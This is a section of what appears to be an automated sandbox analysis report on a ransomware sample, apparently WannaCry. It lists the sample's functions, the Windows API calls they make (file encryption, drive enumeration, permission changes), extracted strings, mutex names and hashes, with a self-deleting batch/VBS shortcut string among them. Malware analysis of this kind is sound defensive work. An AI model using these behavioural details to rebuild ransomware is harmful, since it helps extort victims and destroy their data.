                                      • %d%d.bat, xrefs: 1000116B
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: CountTickfclosefopenfprintfrandsprintfsrandtime
                                      • String ID: %d%d.bat$%sdel /a %%0$@echo offecho SET ow = WScript.CreateObject("WScript.Shell")> m.vbsecho SET om = ow.CreateShortcut("%s%s")>> m.vbsecho om.TargetPath = "%s%s">> m.vbsecho om.Save>> m.vbscscript.exe //nologo m.vbsdel m.vbs
                                      • API String ID: 272371283-582203696
                                      • Opcode ID: aeab48e7f3d4686528c9725e0e16e6881e72156af1ea571a06345f8390d46b4c
                                      • Instruction ID: bbc73ac05f2c3d766bc92013d972e71024294a5fe7d45ddbd0c21095c0461804
                                      • Opcode Fuzzy Hash: aeab48e7f3d4686528c9725e0e16e6881e72156af1ea571a06345f8390d46b4c
                                      • Instruction Fuzzy Hash: B9F08172C00364ABE324ABA88C8DFCB376CBB44385F400400FA4991298D67C52488BE6
                                      Function 004077BA Relevance: 16.6, APIs: 11, Instructions: 111COMMON
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
                                      • String ID:
                                      • API String ID: 801014965-0
                                      • Opcode ID: dfd8e3bc251a609b923ee84314f981157ecd194afd53806702bb476cb8b66a50
                                      • Instruction ID: 57d92ca68de9f17921d1a12c15d34c329a61f20750848fe313e479baa5e7fd82
                                      • Opcode Fuzzy Hash: dfd8e3bc251a609b923ee84314f981157ecd194afd53806702bb476cb8b66a50
                                      • Instruction Fuzzy Hash: 10418DB1D04344AFDB20AFA4DE49A697BB8AB09710F20413FE581B72E1C7786841CB59
                                      Function 10004600 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 46synchronizationCOMMON
                                      Download Yara Rule
                                      APIs
                                      • OpenMutexA.KERNEL32(00100000,00000001,Global\MsWinZonesCacheCounterMutexW), ref: 10004610
                                      • CloseHandle.KERNEL32(00000000), ref: 1000461B
                                      • sprintf.MSVCRT ref: 1000463F
                                      • CreateMutexA.KERNELBASE(00000000,00000001,?), ref: 10004651
                                      • GetLastError.KERNEL32 ref: 1000465D
                                      • CloseHandle.KERNEL32(00000000), ref: 1000466B
                                      Strings
                                      • Global\MsWinZonesCacheCounterMutexW, xrefs: 10004604
                                      • Global\MsWinZonesCacheCounterMutexA, xrefs: 10004634
                                      • %s%d, xrefs: 10004639
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: CloseHandleMutex$CreateErrorLastOpensprintf
                                      • String ID: %s%d$Global\MsWinZonesCacheCounterMutexA$Global\MsWinZonesCacheCounterMutexW
                                      • API String ID: 1504150273-3969049628
                                      • Opcode ID: e33f24fec5a8105520afc6b73cd36ba1053ed9461139c1998fcfaa31dca5d306
                                      • Instruction ID: 5a31b93c1da5a20a1b9f141d257786ab794249d41bfd8cb4034ebc3f6a49e628
                                      • Opcode Fuzzy Hash: e33f24fec5a8105520afc6b73cd36ba1053ed9461139c1998fcfaa31dca5d306
                                      • Instruction Fuzzy Hash: A3F0A475904321A7F220E7288DC9BDF3754EF407C9F414520F94D922C9FB69E94485A7
                                      Function 10001080 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68processsynchronizationCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 100010D3
                                      • WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 100010EB
                                      • TerminateProcess.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 100010FC
                                      • GetExitCodeProcess.KERNEL32(?,?), ref: 10001110
                                      • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000), ref: 10001121
                                      • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000), ref: 10001128
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: Process$CloseHandle$CodeCreateExitObjectSingleTerminateWait
                                      • String ID: D
                                      • API String ID: 786732093-2746444292
                                      • Opcode ID: bb3f84be8fed6d47b9b6b001cc49eadf72aab307978ea7c8928c43ab0557c935
                                      • Instruction ID: bf25e3b425067ed05009c6ce0a6326e1c5c349d93b4e77cf05fae7a9ae1fa398
                                      • Opcode Fuzzy Hash: bb3f84be8fed6d47b9b6b001cc49eadf72aab307978ea7c8928c43ab0557c935
                                      • Instruction Fuzzy Hash: 1111FCB1514311ABE314CF29CC8499BBBE9FF84790F404919F698C6254D774D845CBA2
                                      Function 00401064 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63processsynchronizationCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 004010A8
                                      • WaitForSingleObject.KERNEL32(?,?), ref: 004010BD
                                      • TerminateProcess.KERNEL32(?,000000FF), ref: 004010CC
                                      • GetExitCodeProcess.KERNEL32(?,?), ref: 004010DD
                                      • CloseHandle.KERNEL32(?), ref: 004010EC
                                      • CloseHandle.KERNEL32(?), ref: 004010F1
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Process$CloseHandle$CodeCreateExitObjectSingleTerminateWait
                                      • String ID: D
                                      • API String ID: 786732093-2746444292
                                      • Opcode ID: 520ef4afec62fe4405832db260c3c6b21caa087d375fb1c1d919acb3a27097cb
                                      • Instruction ID: fabf2a0aaa91e867d54492d1ca24e81fc8ed090543e33b3e61fa812da4358066
                                      • Opcode Fuzzy Hash: 520ef4afec62fe4405832db260c3c6b21caa087d375fb1c1d919acb3a27097cb
                                      • Instruction Fuzzy Hash: 8D116431900229ABDB218F9ADD04ADFBF79FF04720F008426F514B65A0DB708A18DAA8
                                      Function 00401225 Relevance: 10.6, APIs: 7, Instructions: 87COMMON
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: rand$wcslen$ComputerNamesrand
                                      • String ID:
                                      • API String ID: 3058258771-0
                                      • Opcode ID: b0791ced207a07d975efd615d75f91e7379ad7fc4ff6fb2c179a53625b9ec986
                                      • Instruction ID: 153b78e0bdef4b648922335b0398b7079fc1e42e5dbb3c53d325bf346215f47a
                                      • Opcode Fuzzy Hash: b0791ced207a07d975efd615d75f91e7379ad7fc4ff6fb2c179a53625b9ec986
                                      • Instruction Fuzzy Hash: FA212833A00318ABD7119B65ED81BDD77A8EB45354F1100BBF948F71C0CA759EC28BA8
                                      Function 00407070 Relevance: 10.6, APIs: 7, Instructions: 74stringCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetFileAttributesA.KERNELBASE(?), ref: 00407083
                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 00407091
                                      • memcpy.MSVCRT ref: 004070CA
                                      • strcpy.MSVCRT(00000000,?), ref: 004070FB
                                      • strcat.MSVCRT(00000000,?), ref: 0040710A
                                      • GetFileAttributesA.KERNELBASE(00000000), ref: 00407118
                                      • CreateDirectoryA.KERNELBASE(00000000,00000000), ref: 0040712C
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: AttributesCreateDirectoryFile$memcpystrcatstrcpy
                                      • String ID:
                                      • API String ID: 2935503933-0
                                      • Opcode ID: ec2dd8a6a6d018b3cd610cad55174b7a39c77c45f8e06270025fb69be962d290
                                      • Instruction ID: 50ba023859918e707bf45bf33fbe73a6a33da9a39eec2eddc6b78618a8cc3524
                                      • Opcode Fuzzy Hash: ec2dd8a6a6d018b3cd610cad55174b7a39c77c45f8e06270025fb69be962d290
                                      • Instruction Fuzzy Hash: 1A112B72C0821456CB305B749D88FD7776C9B11320F1403BBE595B32C2DA78BD898669
                                      Function 10005340 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 46fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • fopen.MSVCRT ref: 10005390
                                      • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,0000026B,00000000,00000000), ref: 100053BB
                                      • fprintf.MSVCRT ref: 100053CC
                                      • fclose.MSVCRT ref: 100053D3
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: ByteCharMultiWidefclosefopenfprintf
                                      • String ID: %s$f.wnry
                                      • API String ID: 3959349042-164597620
                                      • Opcode ID: fe47b58a0a864098f1ed7e8003c354341eea4e6aa930122578fb3f2d5fa357f5
                                      • Instruction ID: 734c0e559264cc4d9b0cc5893c3b6f020f9c05ec1f5dab6dea45a35ab53bd0b3
                                      • Opcode Fuzzy Hash: fe47b58a0a864098f1ed7e8003c354341eea4e6aa930122578fb3f2d5fa357f5
                                      • Instruction Fuzzy Hash: F4019271608221AFF314EB58CCC8FEE33A4FB84791F10451AF958972D8EBB55800CBA2
                                      Function 10001000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: fclose$fopenfreadfwrite
                                      • String ID: c.wnry
                                      • API String ID: 2140422903-3240288721
                                      • Opcode ID: 2fcb7732bd124fd719fd764fef50b0c5215f73a769e972a2100bda7ef1d600a7
                                      • Instruction ID: 5b66b66c06db25d3a0a81cfd077caa1ea484c652e78dc5caa5dda909e889b54a
                                      • Opcode Fuzzy Hash: 2fcb7732bd124fd719fd764fef50b0c5215f73a769e972a2100bda7ef1d600a7
                                      • Instruction Fuzzy Hash: 01F0F631904260ABF330DB29AC48BCB37A4FF803D1F050424FE898629DD6B9CCC5C692
                                      Function 100013E0 Relevance: 9.1, APIs: 6, Instructions: 65COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetSecurityInfo.ADVAPI32(?,00000006,00000004,00000000,00000000,?,00000000,?,?,00000000,00000000), ref: 1000140A
                                      • SetEntriesInAclA.ADVAPI32 ref: 1000145E
                                      • SetSecurityInfo.ADVAPI32(?,00000006,00000004,00000000,00000000,00000001,00000000), ref: 10001471
                                      • LocalFree.KERNEL32(?), ref: 10001482
                                      • LocalFree.KERNEL32(00000001), ref: 10001489
                                      • LocalFree.KERNEL32(?), ref: 10001490
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: FreeLocal$InfoSecurity$Entries
                                      • String ID:
                                      • API String ID: 3140748100-0
                                      • Opcode ID: 17e72d77cb2a7ab5b29a99238ea31e96b0111bf78f42c6a29ba222225ce2277a
                                      • Instruction ID: 1eb89440d750b609ffa3c3d638de18f9d51937b2d7303c4cf94103808dea2930
                                      • Opcode Fuzzy Hash: 17e72d77cb2a7ab5b29a99238ea31e96b0111bf78f42c6a29ba222225ce2277a
                                      • Instruction Fuzzy Hash: 2E11C7B1919360AFD350CF55CC84E5BBBE9FB88750F404D1EF69993240D7B59508CBA2
                                      Function 10001830 Relevance: 9.1, APIs: 6, Instructions: 61memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GlobalAlloc.KERNELBASE(00000000,00100000,10005340,00000000,771B0F00,00000000,1000580C,00000000.pky,10005340,1000DD8C,771B0F10), ref: 10001869
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: AllocGlobal
                                      • String ID:
                                      • API String ID: 3761449716-0
                                      • Opcode ID: a0f6333f425ce33925a84890fd78498eb6391ea3f73c7eff5b86457590ab5d7d
                                      • Instruction ID: 8db7ed3adf78cc50dca048c8c7e3ab3d0c22f95359d44885ef36aa3b35a51b9a
                                      • Opcode Fuzzy Hash: a0f6333f425ce33925a84890fd78498eb6391ea3f73c7eff5b86457590ab5d7d
                                      • Instruction Fuzzy Hash: DC118FB66003119BF360DB28EC45FCB77E8EB84790F11882EF649961C8DBB0A845CB75
                                      Function 10005727 Relevance: 9.1, APIs: 6, Instructions: 58threadsleepCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetLogicalDrives.KERNELBASE ref: 10005734
                                      • Sleep.KERNELBASE(00000BB8), ref: 1000574A
                                      • GetLogicalDrives.KERNELBASE ref: 10005752
                                      • CreateThread.KERNEL32(00000000,00000000,10005680,00000003,00000000,00000000), ref: 1000578F
                                      • CloseHandle.KERNEL32(00000000), ref: 1000579A
                                      • ExitThread.KERNEL32 ref: 100057B1
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: DrivesLogicalThread$CloseCreateExitHandleSleep
                                      • String ID:
                                      • API String ID: 1878306015-0
                                      • Opcode ID: 6755539e03151ab4c1f16085f489a8dfdac46bb0bc8c46b8b9e925cdda5e6641
                                      • Instruction ID: e60eb9cd5809f0a44785feabd90748945945c8a24abb44f707321f1dc85ab6e6
                                      • Opcode Fuzzy Hash: 6755539e03151ab4c1f16085f489a8dfdac46bb0bc8c46b8b9e925cdda5e6641
                                      • Instruction Fuzzy Hash: 28016234B04321EFF250AB66ACCCB5B3699FB856D2F510125F90DDB39CEF569C009661
                                      Function 10005730 Relevance: 9.0, APIs: 6, Instructions: 49threadsleepCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetLogicalDrives.KERNELBASE ref: 10005734
                                      • Sleep.KERNELBASE(00000BB8), ref: 1000574A
                                      • GetLogicalDrives.KERNELBASE ref: 10005752
                                      • CreateThread.KERNEL32(00000000,00000000,10005680,00000003,00000000,00000000), ref: 1000578F
                                      • CloseHandle.KERNEL32(00000000), ref: 1000579A
                                      • ExitThread.KERNEL32 ref: 100057B1
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: DrivesLogicalThread$CloseCreateExitHandleSleep
                                      • String ID:
                                      • API String ID: 1878306015-0
                                      • Opcode ID: 5878980bfe0458395b54a1c59291aa8a91b878b02f3db5711459a8e660d042a6
                                      • Instruction ID: d95954290e73e2fc4d81053873901ac5897467195d0022eac80ad00c69895781
                                      • Opcode Fuzzy Hash: 5878980bfe0458395b54a1c59291aa8a91b878b02f3db5711459a8e660d042a6
                                      • Instruction Fuzzy Hash: 02018634B04321DFF2409B66ACCCB5B3699FB806D2F510125F90DDB39CEF569C009661
                                      Function 10004990 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51sleepCOMMON
                                      Download Yara Rule
                                      APIs
                                      • time.MSVCRT ref: 100049A8
                                      • time.MSVCRT ref: 100049CC
                                      • GetFullPathNameA.KERNEL32(tasksche.exe,00000208,?,00000000), ref: 10004A15
                                      • Sleep.KERNELBASE(00007530), ref: 10004A29
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: time$FullNamePathSleep
                                      • String ID: tasksche.exe
                                      • API String ID: 1626198026-4155512336
                                      • Opcode ID: 63368ec97ce6c90e861054e7e62082db372e98ff563f1b21eac47bf49e227cdf
                                      • Instruction ID: 6c277a82b2204c6dda298433eb915a288d4e8415d8d78be13cb5ccbe86c762d4
                                      • Opcode Fuzzy Hash: 63368ec97ce6c90e861054e7e62082db372e98ff563f1b21eac47bf49e227cdf
                                      • Instruction Fuzzy Hash: FC01F9B1A0435157F310E7649C81F6F3694FB847C1F010529FA489628EDE90B804C3B7
                                      Function 10004500 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 50COMMON
                                      Download Yara Rule
                                      APIs
                                      • sprintf.MSVCRT ref: 10004528
                                      • GetFileAttributesA.KERNELBASE(?), ref: 1000453C
                                      • GetFileAttributesA.KERNEL32(00000000.pky), ref: 10004548
                                        • Part of subcall function 10003A10: InitializeCriticalSection.KERNEL32(?,771B3310,10004558), ref: 10003A28
                                        • Part of subcall function 10003D10: CryptEncrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?,00000200,?,?,?,?,771B3310,00000000), ref: 10003E2B
                                        • Part of subcall function 10003D10: _local_unwind2.MSVCRT ref: 10003E3B
                                        • Part of subcall function 10003A60: DeleteCriticalSection.KERNEL32(?,100045A2), ref: 10003A6A
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: AttributesCriticalFileSection$CryptDeleteEncryptInitialize_local_unwind2sprintf
                                      • String ID: %08X.dky$00000000.pky
                                      • API String ID: 76522779-2125887231
                                      • Opcode ID: 8a0e7567a4fa4835a183f6d327c371cb40c48a734cf9ee2ef7d227f4b83157cd
                                      • Instruction ID: 425621f44f5a923abbbd61014c7ab598cc21be85551e84ab2481d09848a71f7a
                                      • Opcode Fuzzy Hash: 8a0e7567a4fa4835a183f6d327c371cb40c48a734cf9ee2ef7d227f4b83157cd
                                      • Instruction Fuzzy Hash: EB118875504B409FE315DB28CC42B9BB7E8FB887A0F504F1DF56A822D4DB38A545CB52
                                      Function 10002F70 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetTempFileNameW.KERNELBASE(?,~SD,00000000,00000000), ref: 10002FA1
                                      • CreateFileW.KERNELBASE(00000000,40000000,00000000,00000000,00000002,00000002,00000000), ref: 10002FBB
                                      • CloseHandle.KERNEL32(00000000), ref: 10002FC8
                                      • DeleteFileW.KERNELBASE(00000000), ref: 10002FD3
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
